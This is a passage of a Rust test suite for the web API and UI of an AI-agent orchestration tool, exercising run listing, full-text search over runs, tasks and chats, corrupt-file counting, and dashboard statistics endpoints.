11412        assert_eq!(health.json()["daemon"]["running"], true);
11413    }
11414
11415    #[tokio::test]
11416    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11417        let f = Fixture::start().await;
11418        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11419        let broken = f.runs().join("20260902-140502-bad");
11420        std::fs::create_dir_all(&broken).expect("run dir");
11421        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11422
11423        let list = f.get("/api/runs").await;
11424        let detail = f.get("/api/runs/20260902-140502-bad").await;
11425
11426        assert_eq!(list.status, 200);
11427        let listed = list.json();
11428        let ids: Vec<&str> = listed
11429            .as_array()
11430            .expect("an array")
11431            .iter()
11432            .map(|r| r["id"].as_str().expect("an id"))
11433            .collect();
11434        assert_eq!(
11435            ids,
11436            vec!["20260902-140501-good"],
11437            "one unreadable run must not cost the operator the whole history"
11438        );
11439        assert_eq!(detail.status, 500);
11440        assert!(
11441            detail.json()["error"]
11442                .as_str()
11443                .is_some_and(|e| e.contains("run.json")),
11444            "the failure names the file to look at: {}",
11445            detail.body
11446        );
11447        // A skipped run has to be countable somewhere, or the UI shows an
11448        // empty history with nothing to explain it - which is exactly what a
11449        // directory full of older-schema runs looks like.
11450        let health = f.get("/api/health").await;
11451        assert_eq!(health.json()["runs_unreadable"], 1);
11452    }
11453
11454    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
11455    #[tokio::test]
11456    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11457        let f = Fixture::start().await;
11458        let runs = f.runs();
11459        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11460        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11461        // Text three levels down, in a shape no current RunState has: an older
11462        // schema must still search.
11463        let path = runs.join("20260902-140502-bbbb").join("run.json");
11464        let mut v: serde_json::Value =
11465            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11466        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11467        std::fs::write(&path, v.to_string()).unwrap();
11468        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11469        std::fs::write(
11470            runs.join("20260902-140503-cccc").join("run.json"),
11471            "{ not json",
11472        )
11473        .unwrap();
11474
11475        let res = f.get("/api/search?scope=runs&q=quokka").await;
11476        assert_eq!(res.status, 200, "{}", res.body);
11477        let v = res.json();
11478        assert_eq!(v["total"], 1, "{v}");
11479        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11480        assert_eq!(v["hits"][0]["field"], "text");
11481        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11482        let parts = v["hits"][0]["snippet"].as_array().unwrap();
11483        assert!(
11484            parts
11485                .iter()
11486                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11487            "{v}"
11488        );
11489        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11490        assert_eq!(
11491            flat, "The Quokka leaks across threads",
11492            "whitespace is collapsed"
11493        );
11494
11495        // Terms are ANDed, across different fields, case-insensitively.
11496        let both = f
11497            .get("/api/search?scope=runs&q=MOBILE%20quokka")
11498            .await
11499            .json();
11500        assert_eq!(both["total"], 1, "{both}");
11501        let neither = f
11502            .get("/api/search?scope=runs&q=quokka%20zebra")
11503            .await
11504            .json();
11505        assert_eq!(neither["total"], 0, "{neither}");
11506        // Everything in the task statement is reachable, not only the row text.
11507        let stmt = f
11508            .get("/api/search?scope=runs&q=mobile%20first")
11509            .await
11510            .json();
11511        assert_eq!(stmt["total"], 2, "{stmt}");
11512        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11513        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11514    }
11515
11516    #[test]
11517    fn snippet_ignores_terms_longer_than_the_field() {
11518        let terms = ["ok".to_owned(), "elephant".to_owned()];
11519        let parts = snippet_of("ok", &terms);
11520        assert_eq!(
11521            parts,
11522            vec![SnippetPart {
11523                text: "ok".to_owned(),
11524                hit: true
11525            }]
11526        );
11527    }
11528
11529    #[test]
11530    fn snippet_marks_matches_longer_than_the_window() {
11531        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11532        let hit_len = |parts: &[SnippetPart]| -> usize {
11533            parts
11534                .iter()
11535                .filter(|p| p.hit)
11536                .map(|p| p.text.chars().count())
11537                .sum()
11538        };
11539        let total =
11540            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11541
11542        let long = "a".repeat(120);
11543        let parts = snippet_of(&long, std::slice::from_ref(&long));
11544        assert!(hit_len(&parts) > 0, "{parts:?}");
11545        assert!(total(&parts) <= cap);
11546
11547        let ja = "あ".repeat(130);
11548        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11549        assert!(hit_len(&parts) > 0, "{parts:?}");
11550        assert!(total(&parts) <= cap);
11551
11552        // A short hit, then one straddling the window's end.
11553        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11554        let term = format!("ab{}", "c".repeat(100));
11555        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11556        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11557        assert!(total(&parts) <= cap);
11558
11559        // Only the head matches: not highlighted.
11560        let text = format!("{}z", "a".repeat(119));
11561        let parts = snippet_of(&text, &["a".repeat(120)]);
11562        assert_eq!(hit_len(&parts), 0, "{parts:?}");
11563    }
11564
11565    #[tokio::test]
11566    async fn search_caps_hits_and_snippet_length() {
11567        let f = Fixture::start().await;
11568        let runs = f.runs();
11569        for n in 0..(SEARCH_MAX_HITS + 5) {
11570            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11571        }
11572        let v = f.get("/api/search?scope=runs&q=web").await.json();
11573        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11574        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11575        assert_eq!(v["truncated"], true);
11576        // Every listed run hit carries its list row for the page's filters.
11577        assert!(
11578            v["hits"]
11579                .as_array()
11580                .unwrap()
11581                .iter()
11582                .all(|h| h["run"]["status"] == "merged")
11583        );
11584
11585        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11586        let parts = snippet_of(&long, &["needle".to_owned()]);
11587        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11588        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11589        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11590    }
11591
11592    #[tokio::test]
11593    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11594        let f = Fixture::start().await;
11595        let queue = f.queue();
11596        let mut t = Task::new(
11597            "short title".to_owned(),
11598            "line one\nthe hidden Armadillo detail".to_owned(),
11599            PathBuf::from("/repo/magi"),
11600            Source::Agent {
11601                run: "r1".to_owned(),
11602                node: "chat".to_owned(),
11603            },
11604        );
11605        t.last_error = Some("disk full on /tmp".to_owned());
11606        queue.put(&mut t).expect("file the task");
11607
11608        for (q, want) in [
11609            ("armadillo", 1),
11610            ("disk%20FULL", 1),
11611            ("chat", 1),
11612            ("queued", 1),
11613            ("short%20nothing", 0),
11614        ] {
11615            let v = f
11616                .get(&format!("/api/search?scope=tasks&q={q}"))
11617                .await
11618                .json();
11619            assert_eq!(v["total"], want, "{q}: {v}");
11620        }
11621        for bad in [
11622            "/api/search?scope=tasks&q=",
11623            "/api/search?scope=tasks&q=%20",
11624            "/api/search?scope=chats&q=",
11625            "/api/search?scope=chats&q=%20",
11626            "/api/search?scope=nope&q=a",
11627            "/api/search?q=a",
11628        ] {
11629            assert_eq!(f.get(bad).await.status, 400, "{bad}");
11630        }
11631    }
11632
11633    /// Write one conversation file the way the store reads it back.
11634    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11635        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11636            .expect("seat value");
11637        let turns: Vec<serde_json::Value> = turns
11638            .iter()
11639            .map(|(who, body)| {
11640                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11641            })
11642            .collect();
11643        let doc = serde_json::json!({
11644            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11645            "status": status, "turns": turns,
11646            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11647            "seat": seat,
11648        });
11649        let dir = f.home.path().join("talks");
11650        std::fs::create_dir_all(&dir).expect("talks dir");
11651        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11652    }
11653
11654    #[tokio::test]
11655    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11656        let f = Fixture::start().await;
11657        write_talk(
11658            &f,
11659            "20260901-000001-aaaa",
11660            "open",
11661            &[
11662                (
11663                    "operator",
11664                    "\n  Why does the Pangolin cache expire?\nsecond line",
11665                ),
11666                ("agent", "Because the TTL is thirty seconds."),
11667            ],
11668        );
11669        write_talk(
11670            &f,
11671            "20260901-000002-bbbb",
11672            "closed",
11673            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11674        );
11675        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11676
11677        let search = |q: &'static str| {
11678            let f = &f;
11679            async move {
11680                f.get(&format!("/api/search?scope=chats&q={q}"))
11681                    .await
11682                    .json()
11683            }
11684        };
11685
11686        let v = search("PANGOLIN").await;
11687        assert_eq!(v["scope"], "chats");
11688        assert_eq!(v["total"], 1, "{v}");
11689        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11690        assert_eq!(v["hits"][0]["field"], "title");
11691        assert_eq!(v["unreadable"], 1, "{v}");
11692        let marked: Vec<&str> = v["hits"][0]["snippet"]
11693            .as_array()
11694            .unwrap()
11695            .iter()
11696            .filter(|p| p["hit"] == true)
11697            .map(|p| p["text"].as_str().unwrap())
11698            .collect();
11699        assert_eq!(marked, ["Pangolin"]);
11700
11701        // An agent turn, in a closed conversation.
11702        let v = search("zebra").await;
11703        assert_eq!(v["total"], 1, "{v}");
11704        assert_eq!(v["hits"][0]["field"], "agent");
11705        // Words may sit in different turns; all must be present.
11706        assert_eq!(search("pangolin%20thirty").await["total"], 1);
11707        assert_eq!(search("pangolin%20zebra").await["total"], 0);
11708        // Bookkeeping is not searched.
11709        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11710            assert_eq!(search(q).await["total"], 0, "{q}");
11711        }
11712        // The first line only is the title; the second line is still a turn.
11713        assert_eq!(search("second").await["hits"][0]["field"], "operator");
11714        // Open conversations are listed before closed ones.
11715        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11716
11717        let v = f.get("/api/search?scope=nope&q=a").await;
11718        assert_eq!(v.status, 400);
11719        assert!(
11720            v.body.contains("scope must be runs, tasks or chats"),
11721            "{}",
11722            v.body
11723        );
11724    }
11725
11726    #[test]
11727    fn a_question_card_links_a_task_id_to_the_task_page() {
11728        let start = APP_JS
11729            .find("function updateAskCard(")
11730            .expect("updateAskCard exists");
11731        let body = &APP_JS[start..];
11732        let body = &body[..body.find("\n}\n").expect("function end")];
11733        assert!(body.contains("question.run_is_task"));
11734        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11735        assert!(body.contains("`#/runs/${question.run}`"));
11736        assert!(body.contains("\"task\" : \"run\""));
11737    }
11738
11739    #[test]
11740    fn plain_text_message_surfaces_go_through_linkify() {
11741        assert!(APP_JS.contains("function linkify("));
11742        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
11743        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
11744        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
11745        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
11746        assert!(!APP_JS.contains("innerHTML = text"));
11747    }
11748
11749    #[test]
11750    fn stats_bars_share_one_id_keyed_plan() {
11751        let start = APP_JS
11752            .find("function statsBarRows(")
11753            .expect("statsBarRows exists");
11754        let body = &APP_JS[start..];
11755        let body = &body[..body.find("\n}\n").expect("function end")];
11756        assert!(body.contains("statsBarPlan(rows)"));
11757        assert!(body.contains("statsAgentTone(row.agent)"));
11758        assert!(!body.contains("candTone(i)"));
11759        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11760        for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11761            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11762        }
11763    }
11764
11765    #[test]
11766    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11767        let start = APP_JS
11768            .find("function renderStatsReviewerScatter(")
11769            .expect("renderStatsReviewerScatter exists");
11770        let body = &APP_JS[start..];
11771        let body = &body[..body.find("\n}\n").expect("function end")];
11772        assert!(body.contains("statsScatterPlan(reviewers)"));
11773        assert!(body.contains("statsAgentTone(d.agent)"));
11774        assert!(APP_JS.contains("function statsScatterPlan("));
11775        assert!(
11776            APP_JS.contains("d.submitted < STATS_LOW_N")
11777                || APP_JS.contains("r.submitted < STATS_LOW_N")
11778        );
11779        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11780        assert!(APP_CSS.contains(".precision-scatter"));
11781    }
11782
11783    #[test]
11784    fn advisor_reflection_is_drawn_as_stacked_segments() {
11785        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11786        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11787        let html = include_str!("../assets/ui/index.html");
11788        assert!(html.contains("Approximate"));
11789        for label in ["reflected strongly", "faint", "no proposal"] {
11790            assert!(html.contains(label));
11791        }
11792        let css = include_str!("../assets/ui/app.css");
11793        for c in ["refl-strong", "refl-faint", "refl-absent"] {
11794            assert!(css.contains(&format!(".{c} {{")));
11795        }
11796    }
11797
11798    #[test]
11799    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11800        assert!(APP_JS.contains("function statsDailyPlan("));
11801        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11802        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11803    }
11804
11805    #[test]
11806    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11807        let start = APP_JS
11808            .find("function scheduleSearch(")
11809            .expect("scheduleSearch exists");
11810        let body = &APP_JS[start..];
11811        let body = &body[..body.find("\n}\n").expect("function end")];
11812        assert!(body.contains("s.seq += 1"));
11813    }
11814
11815    /// The dashboard reads every run's state itself rather than trusting a
11816    /// separately-maintained count, so an unreadable run must be counted the
11817    /// same way `/api/health` counts it - never silently dropped the way the
11818    /// CLI's own `stats::load_all` drops it.
11819    #[tokio::test]
11820    async fn stats_runs_unreadable_matches_health() {
11821        let f = Fixture::start().await;
11822        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11823        let broken = f.runs().join("20260902-140502-bad");
11824        std::fs::create_dir_all(&broken).expect("run dir");
11825        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11826
11827        let stats = f.get("/api/stats").await;
11828        let health = f.get("/api/health").await;
11829
11830        assert_eq!(stats.status, 200);
11831        assert_eq!(stats.json()["totals"]["runs"], 1);
11832        assert_eq!(stats.json()["runs_unreadable"], 1);
11833        assert_eq!(
11834            stats.json()["runs_unreadable"],
11835            health.json()["runs_unreadable"],
11836            "the dashboard and /api/health must never disagree about how many \
11837             runs could not be read"
11838        );
11839    }
11840
11841    #[tokio::test]
11842    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11843        let f = Fixture::start().await;
11844        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11845        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11846        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11847
11848        let totals = &f.get("/api/stats").await.json()["totals"];
11849        assert_eq!(totals["runs"], 3);
11850        assert_eq!(totals["merged"], 1);
11851        assert_eq!(totals["stalled"], 1);
11852        assert_eq!(totals["in_progress"], 1);
11853        // A stalled run must never read as blocked/merged/ready - it is its
11854        // own bucket, not folded into a "decided" one.
11855        assert_eq!(totals["blocked"], 0);
11856        assert_eq!(totals["ready"], 0);
11857    }
11858
11859    #[tokio::test]
11860    async fn stats_advisors_report_proposals_and_reflection() {
11861        use crate::advise::{Advice, AdvisorRecord, Reflection};
11862        use crate::verdict::Proposal;
11863
11864        let f = Fixture::start().await;
11865        let mut state = RunState::new(
11866            PathBuf::from("/repo/magi"),
11867            "main".to_owned(),
11868            "0123456789abcdef".to_owned(),
11869            "task".to_owned(),
11870            Config::default(),
11871        );
11872        state.id = "20260902-140501-a".to_owned();
11873        state.status = RunStatus::Merged;
11874        state.advice = Some(Advice {
11875            records: vec![
11876                AdvisorRecord {
11877                    seat: "advisor-1".to_owned(),
11878                    agent: "alpha".to_owned(),
11879                    proposal: Some(Proposal {
11880                        approach: "do it".to_owned(),
11881                        key_tradeoff: "speed over memory".to_owned(),
11882                        risks: Vec::new(),
11883                        touches: Vec::new(),
11884                        why_not_naive: "breaks under load".to_owned(),
11885                    }),
11886                    error: None,
11887                    duration_ms: 0,
11888                    reflection: Reflection::Strong,
11889                },
11890                AdvisorRecord {
11891                    seat: "advisor-2".to_owned(),
11892                    agent: "alpha".to_owned(),
11893                    proposal: None,
11894                    error: Some("timed out".to_owned()),
11895                    duration_ms: 0,
11896                    reflection: Reflection::Absent,
11897                },
11898            ],
11899            synthesis: Some("blended brief".to_owned()),
11900        });
11901        let dir = f.runs().join(&state.id);
11902        std::fs::create_dir_all(&dir).expect("run dir");
11903        std::fs::write(
11904            dir.join("run.json"),
11905            serde_json::to_string_pretty(&state).expect("serialize run"),
11906        )
11907        .expect("write run.json");
11908
11909        // `alpha` is in no roster here; this test is about the rates.
11910        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
11911        let alpha = advisors
11912            .as_array()
11913            .expect("an array")
11914            .iter()
11915            .find(|a| a["agent"] == "alpha")
11916            .expect("alpha row");
11917        assert_eq!(alpha["seated"], 2);
11918        assert_eq!(alpha["proposed"], 1);
11919        assert_eq!(alpha["absent"], 1);
11920        assert_eq!(alpha["strong"], 1);
11921        assert_eq!(alpha["faint"], 0);
11922        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11923    }
11924
11925    #[tokio::test]
11926    async fn stats_hides_agents_outside_the_roster_unless_all() {
11927        use crate::run::Candidate;
11928        let repo = TempDir::new().expect("repo dir");
11929        std::fs::write(
11930            repo.path().join("magi.toml"),
11931            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
11932        )
11933        .expect("magi.toml");
11934        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
11935        let mut state = RunState::new(
11936            PathBuf::from("/repo/magi"),
11937            "main".to_owned(),
11938            "0123456789abcdef".to_owned(),
11939            "task".to_owned(),
11940            Config::default(),
11941        );
11942        state.id = "20260902-140501-a".to_owned();
11943        state.status = RunStatus::Merged;
11944        for (label, agent) in [('A', "keep"), ('B', "retired")] {
11945            let mut c: Candidate = serde_json::from_value(serde_json::json!({
11946                "index": 0, "label": label.to_string(), "agent": agent,
11947                "branch": "b", "worktree": "/w",
11948            }))
11949            .expect("candidate");
11950            c.label = label;
11951            state.candidates.push(c);
11952        }
11953        let dir = f.runs().join(&state.id);
11954        std::fs::create_dir_all(&dir).expect("run dir");
11955        std::fs::write(
11956            dir.join("run.json"),
11957            serde_json::to_string_pretty(&state).expect("serialize run"),
11958        )
11959        .expect("write run.json");
11960
11961        let agents_of = |v: &serde_json::Value| -> Vec<String> {
11962            v["agents"]
11963                .as_array()
11964                .expect("array")
11965                .iter()
11966                .map(|a| a["agent"].as_str().unwrap().to_owned())
11967                .collect()
11968        };
11969        let hidden = f.get("/api/stats").await.json();
11970        assert_eq!(agents_of(&hidden), ["keep"]);
11971        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
11972        assert_eq!(hidden["totals"]["runs"], 1);
11973
11974        let all = f.get("/api/stats?all=true").await.json();
11975        assert_eq!(agents_of(&all).len(), 2);
11976        assert_eq!(all["retired_hidden"], serde_json::json!([]));
11977    }
11978
11979    #[tokio::test]
11980    async fn stats_release_bumps_split_clean_from_attention() {
11981        use crate::run::ReleaseBump;
11982
11983        let f = Fixture::start().await;
11984
11985        let mut clean = RunState::new(
11986            PathBuf::from("/repo/magi"),
11987            "main".to_owned(),
11988            "0123456789abcdef".to_owned(),
11989            "task".to_owned(),
11990            Config::default(),
11991        );
11992        clean.id = "20260902-140501-a".to_owned();
11993        clean.status = RunStatus::Merged;
11994        clean.release_bump = Some(ReleaseBump {
11995            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11996            version: Some("1.0.0".to_owned()),
11997            automerge_enabled: true,
11998            merged_directly: false,
11999            local: false,
12000            release: None,
12001            problem: None,
12002            action_required: None,
12003        });
12004
12005        let mut blocked = RunState::new(
12006            PathBuf::from("/repo/magi"),
12007            "main".to_owned(),
12008            "0123456789abcdef".to_owned(),
12009            "task".to_owned(),
12010            Config::default(),
12011        );
12012        blocked.id = "20260902-140502-b".to_owned();
12013        blocked.status = RunStatus::Merged;
12014        blocked.release_bump = Some(ReleaseBump {
12015            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
12016            version: Some("1.0.1".to_owned()),
12017            automerge_enabled: false,
12018            merged_directly: false,
12019            local: false,
12020            release: None,
12021            problem: Some("checks red".to_owned()),
12022            action_required: Some("look at the PR".to_owned()),
12023        });
12024
12025        for state in [&clean, &blocked] {
12026            let dir = f.runs().join(&state.id);
12027            std::fs::create_dir_all(&dir).expect("run dir");
12028            std::fs::write(
12029                dir.join("run.json"),
12030                serde_json::to_string_pretty(state).expect("serialize run"),
12031            )
12032            .expect("write run.json");
12033        }
12034
12035        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12036        assert_eq!(bumps["merged"], 2);
12037        assert_eq!(bumps["recorded"], 2);
12038        assert_eq!(bumps["pr_opened"], 2);
12039        assert_eq!(bumps["automerge_enabled"], 1);
12040        assert_eq!(bumps["needs_attention"], 1);
12041        assert_eq!(bumps["clean"], 1);
12042        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
12043        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
12044    }
12045
12046    #[tokio::test]
12047    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
12048        let f = Fixture::start().await;
12049        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12050
12051        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12052        assert_eq!(bumps["merged"], 1);
12053        assert_eq!(bumps["recorded"], 0);
12054        // `merged` is nonzero, so coverage still reads as a real 0%, not an
12055        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
12056        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
12057        // `pr_opened` and `recorded` are both zero here, so these rates have
12058        // no denominator to compute from and must be null.
12059        assert_eq!(bumps["automerge_rate"], Value::Null);
12060        assert_eq!(bumps["attention_rate"], Value::Null);
12061    }
12062
12063    #[tokio::test]
12064    async fn stats_queue_counts_come_from_the_live_queue() {
12065        let f = Fixture::start().await;
12066        let q = f.queue();
12067        let mut queued = Task::new(
12068            "queued task".to_owned(),
12069            "do it".to_owned(),
12070            PathBuf::from("/repo"),
12071            Source::Human,
12072        );
12073        q.put(&mut queued).expect("put queued");
12074        let mut held = Task::new(
12075            "held task".to_owned(),
12076            "do it later".to_owned(),
12077            PathBuf::from("/repo"),
12078            Source::Human,
12079        );
12080        held.hold_machine(Some("out of attempts".to_owned()));
12081        q.put(&mut held).expect("put held");
12082
12083        let queue = f.get("/api/stats").await.json()["queue"].clone();
12084        assert_eq!(queue["queued"], 1);
12085        assert_eq!(queue["held"], 1);
12086        assert_eq!(queue["running"], 0);
12087        assert_eq!(queue["done"], 0);
12088        assert_eq!(queue["failed"], 0);
12089        assert_eq!(queue["blocked"], 0);
12090    }
12091
12092    #[tokio::test]
12093    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
12094        let f = Fixture::start().await;
12095        let stats = f.get("/api/stats").await;
12096        assert_eq!(stats.status, 200);
12097        assert_eq!(stats.json()["totals"]["runs"], 0);
12098        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
12099        assert_eq!(stats.json()["runs_unreadable"], 0);
12100        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
12101        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
12102        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
12103        assert_eq!(stats.json()["repo"], Value::Null);
12104    }
12105
12106    #[tokio::test]
12107    async fn stats_lists_every_repository_with_runs_recorded() {
12108        let f = Fixture::start().await;
12109        write_run_repo(
12110            &f.runs(),
12111            "20260902-140501-a",
12112            RunStatus::Merged,
12113            "/repos/a",
12114        );
12115        write_run_repo(
12116            &f.runs(),
12117            "20260902-140502-b",
12118            RunStatus::Merged,
12119            "/repos/a",
12120        );
12121        write_run_repo(
12122            &f.runs(),
12123            "20260902-140503-c",
12124            RunStatus::Blocked,
12125            "/repos/b",
12126        );
12127
12128        let stats = f.get("/api/stats").await;
12129        assert_eq!(stats.status, 200);
12130        // Unfiltered - the aggregate across both repositories.
12131        assert_eq!(stats.json()["totals"]["runs"], 3);
12132        assert_eq!(stats.json()["repo"], Value::Null);
12133
12134        let repos = stats.json()["repos"].clone();
12135        let repos = repos.as_array().unwrap();
12136        assert_eq!(repos.len(), 2);
12137        // Busiest (2 runs) first.
12138        assert_eq!(repos[0]["repo"], "/repos/a");
12139        assert_eq!(repos[0]["name"], "a");
12140        assert_eq!(repos[0]["runs"], 2);
12141        assert_eq!(repos[1]["repo"], "/repos/b");
12142        assert_eq!(repos[1]["runs"], 1);
12143    }
12144
12145    #[tokio::test]
12146    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12147        let f = Fixture::start().await;
12148        write_run_repo(
12149            &f.runs(),
12150            "20260902-140501-a",
12151            RunStatus::Merged,
12152            "/repos/a",
12153        );
12154        write_run_repo(
12155            &f.runs(),
12156            "20260902-140502-b",
12157            RunStatus::Blocked,
12158            "/repos/b",
12159        );
12160
12161        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12162        assert_eq!(stats.status, 200);
12163        assert_eq!(stats.json()["totals"]["runs"], 1);
12164        assert_eq!(stats.json()["totals"]["merged"], 1);
12165        assert_eq!(stats.json()["repo"], "/repos/a");
12166        // The repository list itself is unaffected by the filter - it is
12167        // what a client switches repositories from.
12168        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12169        // runs_unreadable is a whole-workload count, never scoped to the
12170        // selected repository - see StatsView::runs_unreadable's own doc.
12171        assert_eq!(stats.json()["runs_unreadable"], 0);
12172    }
12173
12174    #[tokio::test]
12175    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12176        let f = Fixture::start().await;
12177        write_run_repo(
12178            &f.runs(),
12179            "20260902-140501-a",
12180            RunStatus::Merged,
12181            "/repos/a",
12182        );
12183        write_run_repo(
12184            &f.runs(),
12185            "20260902-140502-b",
12186            RunStatus::Merged,
12187            "/repos/b",
12188        );
12189
12190        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12191            let json = f.get(uri).await.json();
12192            let daily = json["daily"].as_array().expect("daily is an array");
12193            assert_eq!(daily.len(), 30);
12194            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12195            let mut sorted = dates.clone();
12196            sorted.sort();
12197            assert_eq!(dates, sorted);
12198            for d in daily {
12199                assert_eq!(
12200                    d["merged"].as_u64().unwrap()
12201                        + d["ready"].as_u64().unwrap()
12202                        + d["other"].as_u64().unwrap(),
12203                    d["runs"].as_u64().unwrap()
12204                );
12205            }
12206            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12207        }
12208    }
12209
12210    #[tokio::test]
12211    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12212        let f = Fixture::start().await;
12213        write_run_repo(
12214            &f.runs(),
12215            "20260902-140501-a",
12216            RunStatus::Merged,
12217            "/repos/a",
12218        );
12219
12220        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12221        assert_eq!(stats.status, 404);
12222    }
12223
12224    #[tokio::test]
12225    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12226        let f = Fixture::start().await;
12227        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12228
12229        let summary = f.get("/api/runs").await.json();
12230        let row = &summary[0];
12231        assert_eq!(row["short"], "a1b2");
12232        assert_eq!(row["status"], "ready");
12233        assert_eq!(row["done"], true);
12234        assert_eq!(row["title"], "Add a web UI");
12235        assert_eq!(row["repo_name"], "magi");
12236        assert_eq!(row["judges"], 3);
12237        assert_eq!(row["winner"], Value::Null);
12238        assert_eq!(row["reviews"], 0);
12239
12240        // The short id resolves, and the detail route is the state itself, not
12241        // a projection of it: the UI reads fields the summary does not carry.
12242        let detail = f.get("/api/runs/a1b2").await;
12243        assert_eq!(detail.status, 200);
12244        assert_eq!(detail.json()["base_branch"], "main");
12245        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12246    }
12247
12248    /// `status: "ready"` alone cannot tell a run still headed for a landing
12249    /// (a PR closed without merging, say) apart from one `[merge] mode =
12250    /// "none"` left unmerged for good — the confusion the operator flagged
12251    /// after the CLI report already grew a `not landed — nothing to do by
12252    /// design` line for exactly this case (`report.rs`). Both the list route
12253    /// and the detail route must carry a flag the phone can key on instead of
12254    /// re-deriving it from `status` + `merge.mode` itself.
12255    #[tokio::test]
